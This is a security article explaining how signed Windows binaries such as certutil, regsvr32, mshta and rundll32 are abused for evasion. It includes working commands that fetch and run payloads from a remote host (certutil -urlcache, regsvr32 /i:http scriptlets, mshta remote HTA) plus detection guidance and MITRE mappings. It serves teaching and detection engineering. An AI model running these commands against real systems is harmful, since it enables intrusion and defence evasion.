Living-off-the-Land Binaries (LOLBins) for Evasion

Living-off-the-Land Binaries (LOLBins) for Evasion - article cover image Malware & C2
Time it takes to read this article 6 minutes.

Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.

Introduction

Living-off-the-Land Binaries (LOLBins) are legitimate, Microsoft-signed executables already present on every Windows install that can be abused to download, execute, proxy, or hide malicious activity without ever dropping a custom attacker binary. Because tools like certutil, regsvr32, mshta, and rundll32 ship as part of the operating system and are digitally signed by Microsoft, allowlisting products that trust vendor-signed binaries, and analysts who mentally filter out “normal Windows noise,” both tend to pass them by default.

The technique matters because it inverts the usual detection model: signature- and hash-based defenses look for *known-bad* files, but a LOLBin attack introduces no new file at all — only an unusual argument to an entirely legitimate program. This is why LOLBins are a staple of every stage of an intrusion, from initial payload staging through defense evasion to full command-and-control proxying, and why detection has had to shift from “what ran” to “what ran, with what arguments, spawned by what parent.” The LOLBAS project (lolbas-project.github.io) catalogs the community-maintained, continuously growing list of these binaries and their documented abuse cases.

Attack Prerequisites

LOLBin techniques assume execution has already been obtained and are used to advance from there, so the requirements are modest:

  • Code execution on the target (command injection, phishing macro, already-landed implant) sufficient to invoke a built-in binary with arguments — no additional exploit is needed for the LOLBin step itself.
  • The target binary present and unblocked — nearly guaranteed on stock Windows, but WDAC/AppLocker policies or EDR blocking rules can restrict specific binaries or their risky argument combinations.
  • Outbound network access (for the download/staging variants such as certutil -urlcache or mshta fetching a remote .hta) or, for the purely local evasion variants (e.g. rundll32 loading a local DLL), none at all.
  • Standard user privileges are sufficient for most LOLBin abuse; a few variants (COM-hijack-adjacent regsvr32 writes to HKLM, service installation via sc.exe) require local admin.

How It Works

Each LOLBin abuse case repurposes a legitimate feature the binary was shipped with for an unintended purpose. certutil.exe is a certificate-and-encoding utility that happens to include a URL-cache download feature (-urlcache) and Base64 encode/decode (-encode/-decode) meant for certificate blobs but equally happy to fetch and decode an arbitrary payload. regsvr32.exe registers COM DLLs, but its /i: switch accepts a URL and, combined with a scrobj.dll-hosted scriptlet, executes remote script content entirely in memory — the technique known as “Squiblydoo,” one of the earliest and most widely documented LOLBin bypasses. mshta.exe is the Microsoft HTML Application host: it was built to run trusted local .hta files but will just as readily execute a remote one or inline VBScript/JScript passed on the command line, no download step required. rundll32.exe loads and calls exported functions from a DLL — its intended purpose — but places no meaningful restriction on *which* DLL or exported function, making it a generic proxy-execution and defense-evasion primitive for both disk-resident and, via reflective techniques, in-memory DLLs.

What unifies these is the concept of proxy execution: the parent process visible in telemetry is a trusted, signed Microsoft binary, and the actual malicious logic — a downloaded script, a malicious DLL export, a remote HTA — never appears as its own separate, independently-scored file on disk until (if ever) a later stage writes one. Analysts historically tuned detections around *which binary ran*; LOLBins specifically defeat that heuristic by ensuring the binary that ran is always one that should be allowed to run.

A second, related category is allowlist bypass: on a system with AppLocker or WDAC configured to block “unknown” executables by path or publisher, a Microsoft-signed binary already permitted by policy becomes the only viable way to execute arbitrary code, which is why LOLBin catalogs are consulted as often for allowlist evasion as for pure stealth.

Vulnerable Code / Configuration

The enabling condition is rarely a single misconfigured file — it is the *absence* of an allowlist or command-line-aware detection policy that would otherwise constrain these binaries’ legitimate-but-dangerous features. A default AppLocker rule set is the clearest example of the gap: the built-in “Allow Microsoft Windows to run” default rule permits everything under %WINDIR% unconditionally, certutil.exe, regsvr32.exe, mshta.exe, and rundll32.exe included, with no distinction for suspicious arguments:

<!-- Default AppLocker Executable Rule (unmodified) -->
<FilePathRule Id="..." Name="(Default Rule) All files located in the Windows folder" Action="Allow" UserOrGroupSid="S-1-1-0">
  <Conditions>
    <FilePathCondition Path="%WINDIR%\*" />
  </Conditions>
</FilePathRule>
<!-- VULNERABLE: certutil.exe, regsvr32.exe, mshta.exe, rundll32.exe all
     live under %WINDIR%\System32 and are allowed unconditionally,
     regardless of arguments -->
XML

The absence of a Sysmon or EDR rule scoped to *command-line content* rather than *process name* is the second half of the gap — a bare process-creation log with no argument-pattern alerting will show certutil.exe launching thousands of times a day (it is used legitimately for certificate operations) with no way to distinguish the one invocation that matters:

# Sysmon config missing argument-level filtering (VULNERABLE - too broad)
<ProcessCreate onmatch="exclude">
  <Image condition="is">C:\Windows\System32\certutil.exe</Image>
</ProcessCreate>
<!-- excludes ALL certutil activity from logging instead of filtering on
     the -urlcache / -decode argument pattern that actually matters -->
TEXT

Walkthrough / Exploitation

Stage a payload using certutil‘s undocumented-but-well-known URL cache download feature, avoiding a browser or PowerShell download cradle entirely:

certutil -urlcache -split -f http://10.10.10.5/payload.exe payload.exe
certutil -decode payload.b64 payload.exe
CMD

Proxy-execute a remote scriptlet via regsvr32 — the “Squiblydoo” technique — which runs entirely from a URL with no file ever written to disk:

regsvr32 /s /n /u /i:http://10.10.10.5/payload.sct scrobj.dll
CMD

Execute inline or remote script logic through mshta, another no-file-on-disk proxy-execution path commonly used for macro-dropped second stages:

mshta http://10.10.10.5/payload.hta
mshta vbscript:Execute("CreateObject(""Wscript.Shell"").Run ""calc.exe"""
     "(window.close)")
CMD

rundll32 for generic DLL proxy execution — pointing at an arbitrary exported function in a locally staged or already-present DLL:

rundll32.exe C:\Users\Public\payload.dll,EntryPoint

REM classic advpack.dll INF-execution variant:
rundll32.exe advpack.dll,LaunchINFSection payload.inf,DefaultInstall
CMD

Each of these is directly cross-referenced against MITRE ATT&CK sub-techniques of T1218 (System Binary Proxy Execution) — T1218.010 for regsvr32, T1218.005 for mshta, T1218.011 for rundll32 — and every entry in the LOLBAS project lists the exact command line, expected behavior, and MITRE mapping for reference during detection engineering.

Note: The LOLBAS project (lolbas-project.github.io) is the canonical, community-maintained reference: each entry documents the binary, the abuse category (Execute, Download, Bypass, Persist, etc.), the exact command line, and known caveats. GTFOBins is its Unix/Linux equivalent and is worth cross-checking on mixed environments.

Opsec: None of these binaries are quiet by default in a well-instrumented environment — certutil -urlcache and regsvr32 /i:http command lines are specific and well-known enough that most mature EDR products alert on them out of the box. Treat LOLBins as a way to blend into *process* telemetry, not as a way to avoid *command-line* telemetry, and expect sophisticated defenders to be watching argument patterns rather than binary names.

Detection and Defense

Because the binaries themselves cannot be blocked without breaking legitimate functionality, detection has to move to the argument and parent-child level:

  • Command-line-aware process creation logging — Sysmon Event ID 1 or Windows Event ID 4688 with command-line auditing enabled, alerting on specific high-signal patterns: certutil.exe *-urlcache*, certutil.exe *-decode*, regsvr32.exe */i:http*, mshta.exe *http*, rundll32.exe *javascript:*.
  • Parent-child process anomalies — Office applications (winword.exe, excel.exe), browsers, or wscript.exe/cscript.exe spawning certutil.exe, regsvr32.exe, or mshta.exe is rarely legitimate and is one of the highest-fidelity detections available.
  • Network telemetry correlated to LOLBin process names — a certutil.exe or mshta.exe process making an outbound HTTP connection is anomalous regardless of the destination.
  • WDAC/AppLocker rules that go beyond path allowlisting — block or restrict regsvr32.exe/mshta.exe outright where business need permits, or use WDAC’s argument-aware blocking where supported.
  • Consult and continuously diff against LOLBAS when building detection content, since it is the community’s living catalog of which binaries and argument patterns require coverage.

Real-World Impact

LOLBin techniques are a defining feature of modern fileless and “malware-less” intrusions and are used constantly by both criminal ransomware affiliates and nation-state actors specifically to blend into legitimate administrative activity. regsvr32‘s Squiblydoo bypass and mshta-based staging are referenced in numerous public incident reports and threat-intel write-ups as initial or intermediate execution steps precisely because they defeat naive allowlisting and hash-based AV detection while requiring no custom tooling to deploy.

Conclusion

LOLBins succeed because they ask defenders to distrust binaries that are, by every conventional signal, trustworthy — signed, present by default, and doing something close to their documented job. The durable countermeasure is not trying to block or remove these utilities, which breaks legitimate administration, but shifting detection to command-line content, parent-child relationships, and correlated network behavior — the layer LOLBins cannot hide behind their signature.

You Might Also Like

If you found this useful, these related deep-dives cover adjacent techniques and their defenses:

Comments

Copied title and URL